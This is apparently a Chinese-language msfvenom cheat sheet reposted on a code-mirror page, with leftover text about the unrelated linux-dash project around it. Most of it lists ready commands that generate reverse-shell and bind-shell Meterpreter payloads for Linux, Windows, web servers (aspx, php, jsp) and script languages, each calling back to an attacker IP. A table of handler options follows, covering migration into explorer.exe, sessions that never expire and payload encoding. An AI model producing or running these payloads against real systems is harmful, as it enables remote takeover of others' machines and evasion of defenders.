Msfvenom的简单用法
linux-dash
A beautiful web dashboard for Linux
项目地址:https://gitcode.com/gh_mirrors/li/linux-dash
免费下载资源
·
1.常用生成载荷命令
1.1 生成linux系统反向shell载荷
- 生成elf可执行文件的反向连接载荷
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.1.123 LPORT=111 -f elf > ~/Desktop/1.elf
1.2 生成windows系统载荷
- 反向shell(tcp)
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.123 LPORT=111 -f exe > ~/Desktop/1.exe
- 正向shell(tcp)
msfvenom -p windows/x64/meterpreter/bind_tcp LPORT=9991 -f exe > ~/Desktop/1.exe
- 反向shell(https)
msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.1.123 LPORT=443 -f exe > ~/Desktop/1.exe
- dll类型
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.123 LPORT=111 -f dll > ~/Desktop/1.dll
1.3 生成web类型载荷
此种载荷的触发方式为使用浏览器访问
- 生成aspx载荷
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.111 LPORT=443 -f aspx > ~/Desktop/1.aspx
- 生成php载荷
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.1.111 LPORT=443 -f raw > ~/Desktop/1.php
- 生成jsp
msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.1.111 LPORT=443 -f raw > ~/Desktop/1.jsp
1.4 生成语言类载荷
- python
msfvenom -p python/meterpreter/reverse_tcp LHOST=192.168.1.111 LPORT=443 -f raw > ~/Desktop/1.py
- lua
msfvenom -p cmd/unix/reverse_lua LHOST=192.168.1.111 LPORT=443 -f raw > ~/Desktop/1.lua
- perl
msfvenom -p cmd/unix/reverse_perl LHOST=192.168.1.111 LPORT=443 -f raw > ~/Desktop/1.pl
- ruby
msfvenom -p cmd/unix/reverse_ruby LHOST=192.168.1.111 LPORT=443 -f raw > ~/Desktop/1.rb
- bash
msfvenom -p cmd/unix/reverse_bash LHOST=192.168.1.111 LPORT=443 -f raw > ~/Desktop/1.sh
- powershell
msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.1.111 LPORT=443 -f psh-reflection > ~/Desktop/1.ps1
2.常见高级参数
这些参数一般在生成web_delivery_payload或者使用exp攻击的时候有可能会用到:
参数字段 | 效果 |
---|---|
set PrependMigrate true | 启用迁移进程(默认为:false) |
set PrependMigrateProc explorer.exe | 迁移到此进程名:explorer.exe |
set SessionExpirationTimeout 0 | 会话超时时间0秒(会话永不超时),默认为:604800 |
set SessionCommunicationTimeout 0 | 会话通信超时0秒(会话永不过期),默认为:300 |
set EnableStageEncoding true | 启用Stage传输体载荷编码(默认为:false) |
set EnableUnicodeEncoding true | 启用Unicode编码(默认为:false) |
set stageencoder x86/fnstenv_mov | 设置传输编码为:x86/fnstenv_mov |
set HandlerSSLCert /tmp/772023.pem | 指定HTTPS PEM格式SSL证书路径 |
set StagerVerifySSLCert true | 验证HTTPS SSL证书 |
set ExitOnSession false | 退出会话为:false,保持端口监听(默认为:true) |
set AutoRunScript migrate -f | 自动运行migrate脚本,-f或-n参数 |
set InitialAutoRunScript migrate -f | 自动运行migrate脚本,优先AutoRunScript |
GitHub 加速计划 / li / linux-dash
6
1
下载
A beautiful web dashboard for Linux
最近提交(Master分支:4 个月前 )
186a802e
added ecosystem file for PM2 4 年前
5def40a3
Add host customization support for the NodeJS version 4 年前
更多推荐
已为社区贡献10条内容
所有评论(0)